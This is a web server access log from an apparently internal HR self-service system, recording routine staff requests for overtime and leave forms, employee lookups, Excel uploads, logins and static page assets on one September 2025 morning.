192.168.12.66 - - [04/Sep/2025:09:13:01 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/css/default.css?m=20130917" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:01 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457
192.168.12.66 - - [04/Sep/2025:09:13:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237
192.168.12.66 - - [04/Sep/2025:09:13:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:07 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:07 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.12.66 - - [04/Sep/2025:09:13:07 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:07 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230
192.168.12.66 - - [04/Sep/2025:09:13:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 147313
192.168.12.66 - - [04/Sep/2025:09:13:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 147313 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1311333 HTTP/1.1" 302 -
192.168.12.66 - - [04/Sep/2025:09:13:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&action=delete&overtime_flowseqno=1311333 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:15 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1311333+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105
192.168.12.66 - - [04/Sep/2025:09:13:15 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1311333+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe HTTP/1.1" 200 3105 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:13:16 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084
192.168.12.66 - - [04/Sep/2025:09:13:16 +0800] "GET /eHR/img/success.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%96%AE%E8%99%9F%3A1311333+%E7%9A%84%E7%94%B3%E8%AB%8B%E5%96%AE%E5%88%AA%E9%99%A4%E6%88%90%E5%8A%9F.&target=iframe" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [04/Sep/2025:09:22:36 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0"
100.64.0.1 - - [04/Sep/2025:09:22:36 +0800] "GET / HTTP/1.1" 200 439
100.64.0.1 - - [04/Sep/2025:09:22:36 +0800] "GET /favicon.ico HTTP/1.1" 404 209
100.64.0.1 - - [04/Sep/2025:09:22:36 +0800] "GET /favicon.ico HTTP/1.1" 404 209 "http://222.92.19.198:8088/" "Mozilla/5.0 (X11; Linux x86_64; rv:139.0) Gecko/20100101 Firefox/139.0"
192.168.12.66 - - [04/Sep/2025:09:24:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.12.66 - - [04/Sep/2025:09:24:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7915156186862854 HTTP/1.1" 200 16008 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:38 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7915156186862854 HTTP/1.1" 200 16008
192.168.12.66 - - [04/Sep/2025:09:24:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7915156186862854 HTTP/1.1" 200 18211 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7915156186862854" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:46 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7915156186862854 HTTP/1.1" 200 18211
192.168.12.66 - - [04/Sep/2025:09:24:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088
192.168.12.66 - - [04/Sep/2025:09:24:49 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4088 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:51 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.12.66 - - [04/Sep/2025:09:24:51 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182
192.168.12.66 - - [04/Sep/2025:09:24:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:51 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [04/Sep/2025:09:24:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [04/Sep/2025:09:24:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 39237
100.64.0.1 - - [04/Sep/2025:09:24:57 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:24:57 +0800] "GET / HTTP/1.1" 200 439
192.168.12.66 - - [04/Sep/2025:09:24:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 147313
192.168.12.66 - - [04/Sep/2025:09:24:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 147313 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.64 - - [04/Sep/2025:09:26:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:26:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.64 - - [04/Sep/2025:09:26:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:26:36 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.64 - - [04/Sep/2025:09:26:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.11.64 - - [04/Sep/2025:09:26:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:26:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096
192.168.11.64 - - [04/Sep/2025:09:26:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10096 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:26:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [04/Sep/2025:09:26:48 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:27:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2838290190102386 HTTP/1.1" 200 13560 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:27:22 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2838290190102386 HTTP/1.1" 200 13560
192.168.11.64 - - [04/Sep/2025:09:27:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2838290190102386 HTTP/1.1" 200 15758 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2838290190102386" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:27:30 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2838290190102386 HTTP/1.1" 200 15758
192.168.11.64 - - [04/Sep/2025:09:27:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215
192.168.11.64 - - [04/Sep/2025:09:27:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4215 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:27:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:27:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [04/Sep/2025:09:27:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190
192.168.11.64 - - [04/Sep/2025:09:27:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
100.64.0.1 - - [04/Sep/2025:09:28:08 +0800] "GET / HTTP/1.1" 200 439 "-" "curl/7.81.0"
100.64.0.1 - - [04/Sep/2025:09:28:08 +0800] "GET / HTTP/1.1" 200 439
192.168.11.64 - - [04/Sep/2025:09:28:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [04/Sep/2025:09:28:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:24 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.888946812892482 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:24 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.888946812892482 HTTP/1.1" 200 5264
192.168.11.64 - - [04/Sep/2025:09:28:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.888946812892482 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.888946812892482" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:30 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.888946812892482 HTTP/1.1" 302 -
192.168.11.64 - - [04/Sep/2025:09:28:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4737
192.168.11.64 - - [04/Sep/2025:09:28:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 4737 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.888946812892482" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4478 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:35 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4478
192.168.11.64 - - [04/Sep/2025:09:28:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:38 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [04/Sep/2025:09:28:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [04/Sep/2025:09:28:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:28:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.64 - - [04/Sep/2025:09:29:00 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.636350931131658 HTTP/1.1" 200 5264 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:00 +0800] "GET /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.636350931131658 HTTP/1.1" 200 5264
192.168.11.64 - - [04/Sep/2025:09:29:05 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.636350931131658 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.636350931131658" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.64 - - [04/Sep/2025:09:29:05 +0800] "POST /eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.636350931131658 HTTP/1.1" 302 -
192.168.11.64 - - [04/Sep/2025:09:29:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5700
192.168.11.64 - - [04/Sep/2025:09:29:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_import&id=3 HTTP/1.1" 200 5700 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=user_excel_upload&used_program=emp_import&openW=Y&rand=0.636350931131658" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [04/Sep/2025:09:29:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:08 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-TW.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.11.136 - - [04/Sep/2025:09:29:09 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124
